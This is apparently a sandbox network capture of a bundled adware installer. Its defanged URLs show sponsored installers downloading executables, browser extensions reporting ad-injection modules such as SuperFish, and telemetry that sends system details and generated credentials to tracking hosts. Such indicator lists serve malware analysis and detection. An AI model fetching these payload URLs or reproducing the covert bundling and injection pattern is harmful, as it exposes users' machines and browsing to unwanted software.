hxxp://sourceapp.info/ii?alpha=aytSGjsDa0waClg5fTA0am8BFztrd14yNl4YRgt+OXcYXX5+WjEzECs6G20qdysOCRIpJGgVe3csBlgtbGAvGFMFKRICODlhHVxjVnpLN2RpNhEacT55ChdNGk0iKSYfZ3x9OkhKVh1cH3Q/GG9BIFJPMm9VOW1wdStyMjszOCMZW0MkEgY8P2lEHXAWKTp0OSszUUhxKXtRFHlCSAkNby0mUU5rKAMHOicrNigRazcjV1FOaV08BnhxKAFHOzkrcWYSViR1ZStlNABWLkImQy1nfWgTCHttKAN7aUQBRgdkKy9MAUNnBBAzFjY/CgwNbmMDEAAoTTsIGTVyVRNuLSdxRBxZOW4WLXwiBlw3SHU0fikvKVVVYHsuBnZ4SAcWAXQ4ak5dbWVHWHxUd2lYQylrbAkYSh4Da0QgNHUTXkgwJ2pPGRVKVFd5bzRdCTBRJiBiZyt3WQJxLGgKbzsBRFBaMTArAww+NFJSZlBvY0wdYDc8XUhDfQl4FR8KalIEeHJuSGcKVGtFFltjNQBaP0s7R2RaWlQtWxMkbVx2T0gDCQtyey9QXzM/QRhhVElyX0MfaG8=
hxxp://sourceapp.info/if?alpha=aytSGjtMcVA9AFslfTA0am8BFztrd14yNl4YRgt+OXcYXX5+WjEzECs6G20qdysOCRIpJGgVe3csBlgtbGAvGFMFKRICODlhHVxjVnpLN2RpNhEacT55ChdNGk0iKSYfZ3x9OkhKVh1cH3Q/GG9BIFJPMm9VOW1wdStyMjs7LSN5FVB1TH9jYzM/RjJLSGMtfXpvQhYhcC0RIDYfRVFdOW14EA08IFdSblFsalhIP2FPFRBKMgh0WCUob1ZQeTsoXFgSYyQRBiM6aU0dbhc1JXI8KzZCHDIiUlg1NngmRgdkKTNOWTNZDgw4Ci4qUgxsMyAFFgN9An9eLDUgfh9+LCFtRRtBOXdfY24oA1x+EDtENmZ/YhcIPiJwVjorY1VAHnIvOVdTYC5dQmpLaHdJGmo2LRQaBS0Eb01pN3xQHT1kbi8ETRN2U1psZCBJajBAd303YTkvMRU+OXtTdlhZFBQNZHRsUEozOkEMbhVkIFhNLDo0V1NGa18qRSh6LQNMKG50KxxHBygaBjwwcEAJOlMmQgl+eHUBV3cbU0A3eUhVNgFlKT9fUC5dRzEfNhB5OkUpbC0jGgEyDml+eVJ9OWEY
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList= 212.143.22.213
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hXeqmv1IpelPNjxRBLtb4z2yFYVisXUyjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2WLdv2CKFfBluBMcUf8UemD9EYs0TzOu1 54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6800499185805007
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.8012766320131816
hxxp://rep.shopper-pro.com/app/ping.ashx?e=M/g8cQcNP IaXrHZgA5m3xUhutYh79jv3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrOw9/8 JsFyrXAEn1Ui8YxjjVDDR1s6LfAOPQgSHEw2 G6SHRxdq2MvD3uhzVRfMJIi5EI4eexb/M2kLK0Eh6GOhAyMRSteYLfy2nd2OoBNWZcVk3bWa3iMJb UIfjrRxmoi0CE64JPPM/9VP4YRizveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5x 9v0hi6ojl/pUrWo8oa7crjeLhXmjZt8aHXnj8PuXG3Qvw9wYyH SNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwxmk7Szj5ex8= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=bNFVvuIwcz4aXrHZgA5m3xUhutYh79jv3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy7XNTRnwhCuR7 w54tsebgskPQ8F7SrDab/EmjUQkbJhE8p7C9xhBPU6a0yRzcJ0yb8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFp ceFAG3lI3nDtFzkcx43pfkIt A1fNYZvQAY7labZ/L/Gp5D/J/XcqyrehRRRow5j8HEnk34z92MM1rQPB7y4Tv2kKrfAiRLZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmC3hPceosn9U7oJPbo3A23YQ7ThJqxM9xchHWwrE8V1NxbQwCDWyhFWgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPE/Rh6jjkLn1EQJzl1KqpQA== 54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1 212.143.22.213
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=734312&mode=nolsp
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1 212.143.22.213
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList= 212.143.22.213
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=736184&mode=nolsp
hxxp://rep.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrj4MZomVx105Z6nErJlI PfsXg2Ujmg/gRP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9TprTJHNwnTJvxyb104P2pAgDt7NfxZmBYztrww 9FIWn5x4UAbeUjecO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Tugk9ujcDbdhDtOEmrEz3FyEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufW5ieW9E NT0 54.197.238.106
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en 65.255.35.143
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1 212.143.22.213
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1 212.143.22.213
hxxp://www.inipegcc.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f
hxxp://www.inipegcc.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719198&SBPIDS=0 212.143.22.213
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,18 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok 65.255.35.143
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F 184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.1.hperr.opera 65.255.35.143
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTi0dT3oZebpKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP&product=EXTFirefox&rnd=1423719207&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.0 54.197.238.106
hxxp://www.google.com/
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=SuperFish 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=JollyWallet 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=GoobzoInfo 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=DealPly_NoPriceGong 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=PriceGong_DealPly 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=GeneralInjector 54.197.238.106
hxxp://www.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJCu8we-koLgAg 173.194.113.215
hxxp://gp1.wpc.v2cdn.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://online.goobzo.com/online/Report.aspx 212.143.22.213
hxxp://youtube-ui.l.google.com/ocsp
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish 65.255.35.143
hxxp://www.inisxriy.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d 50.23.120.57
hxxp://www.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip 50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite 65.255.35.143
hxxp://www.inisxriy.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe 50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt 65.255.35.143
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.46785430618710005
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.06503664037543533
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://errors.crossrider.com/utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=13031 208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=11554 208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=32393 208.85.150.249
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_c
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_d
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_e
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_b
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_a
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=4736 208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=9421 208.85.150.249
hxxp://errors.crossrider.com/utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3170&rnd=2061 208.85.150.249
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423719224
hxxp://ipgeoapi.com/
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423719224&procruntime=3&rnd=1423719227
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423719224&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1423719224
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423719228
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423719228
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423719229
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423719229
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423719230
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423719230
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423719230
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt 65.255.35.143
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423719230
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action1=install.smt 65.255.35.143
hxxp://up.soft365.com/Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 65.255.35.143
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423719232
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423719232
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423719232
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423719233
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423719233
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423719224&procruntime=11&rnd=1423719235
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423719224&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423719224&procruntime=11&rnd=1423719235
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423719224&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1423719224
hxxp://errors.crossrider.com/utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=15886&rnd=24743 208.85.150.249
hxxp://bigspeedpro.com/webplayer/appshat/config.json
hxxp://appshat.com/images/64x64.ico
hxxp://appshat.com/images/16x16.ico
hxxp://appshat.com/home
hxxp://appshat.com/css/main.css
hxxp://appshat.com/css/style.css
hxxp://appshat.com/css/product.css
hxxp://appshat.com/css/lightbox.css
hxxp://appshat.com/js/scripts.js
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://googleadapis.l.google.com/css?family=Abel
hxxp://appshat.com/js/lightbox.js
hxxp://appshat.com/images/logo.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/6/e/6ef6fd5410a7fb481fe6841cb381c046.jpg
hxxp://appshat.com/thumbnails/banner/images/assets/b/4/b43daeae6aca6ab7d6a00084494d81db.png
hxxp://appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png
hxxp://www.google.com.ua/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot 173.194.113.215
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.7989408640176291
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719238&SBPIDS=0 212.143.22.213
hxxp://appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://appshat.com/images/4.5stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://appshat.com/images/5.0stars.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://app.easy-burner.com/gv/en/easyburner.msi
hxxp://appshat.com/thumbnails/icon/images/assets/6/a/6a12dc1a298e870b610a58a56ba0f5ec.jpg
hxxp://appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png
hxxp://appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png
hxxp://appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://appshat.com/thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
hxxp://appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hXeqmv1Ipen8DUZEY163ABpesdmADmbfGodnERLA8lnZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3o9UoOZ/vYdhhjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGR4zHRlymAkx2wh9qBzrQklm18q2SXggWYNEoK7UIHjDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gXVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0kSxDRdzoFZPoW0z9NLN4aDchJbXoZFrU 54.197.238.106
hxxp://appshat.com/thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png
hxxp://173.194.113.205/pagead/conversion.js
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg
hxxp://test.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish
